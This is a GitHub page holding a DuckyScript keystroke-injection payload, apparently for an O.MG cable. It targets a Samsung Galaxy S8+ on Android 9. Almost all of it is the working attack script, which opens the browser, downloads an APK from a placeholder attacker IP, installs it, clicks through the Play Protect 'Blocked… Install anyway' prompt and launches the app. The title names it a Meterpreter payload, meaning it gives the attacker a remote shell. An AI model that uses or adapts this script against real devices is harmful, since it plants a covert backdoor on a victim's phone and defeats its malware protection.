forked from davidbombal/hak5
-
Notifications
You must be signed in to change notification settings - Fork 0
/
omg_android9SGS8_meterpreter
99 lines (86 loc) · 2.05 KB
/
omg_android9SGS8_meterpreter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
REM # -----------------------------------------------------------
REM # Title: OMG Android Meterpreter
REM # Description: Download and install an APK on Android.
REM # You may need to change the script for your particular phone
REM # model and Android version. Play around with it. Delays are very
REM # important and makes a really big difference.
REM #
REM # Author: David Bombal
REM # Target: Android 9 (Samsung Galaxy S8+)
REM # Notes: Set URL for APK payload below
REM # -----------------------------------------------------------
REM # -----------------------------------------------------------
REM # clear screen (Not needed, but helps for demos)
REM # -----------------------------------------------------------
GUI ENTER
DELAY 1000
GUI ENTER
REM # -----------------------------------------------------------
REM # launch browser and download apk
REM # -----------------------------------------------------------
GUI b
DELAY 1000
CTRL l
DELAY 50
STRING http://xxx.xxx.xxx.xxx:8000/omg.apk
ENTER
DELAY 4000
REM # -----------------------------------------------------------
REM # open apk with My Files
REM # -----------------------------------------------------------
GUI r
DELAY 500
ENTER
DELAY 500
TAB
TAB
DELAY 500
ENTER
DELAY 1000
CTRL f
DOWN
DOWN
ENTER
TAB
ENTER
DELAY 2000
REM # -----------------------------------------------------------
REM # Do you want to install MainActivity
REM # -----------------------------------------------------------
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
DOWN
TAB
RIGHT
ENTER
REM # -----------------------------------------------------------
REM # Blocked by Play Protect. Install anyway.
REM # -----------------------------------------------------------
DELAY 5000
DOWN
LEFT
ENTER
REM # -----------------------------------------------------------
REM # Open application, after installation.
REM # -----------------------------------------------------------
DELAY 10000
DOWN
CTRL f
TAB
ENTER
ENTER
# REM Credit goes to _MG_, and DrewSec for the Android 11 and 12 versions which inspired this.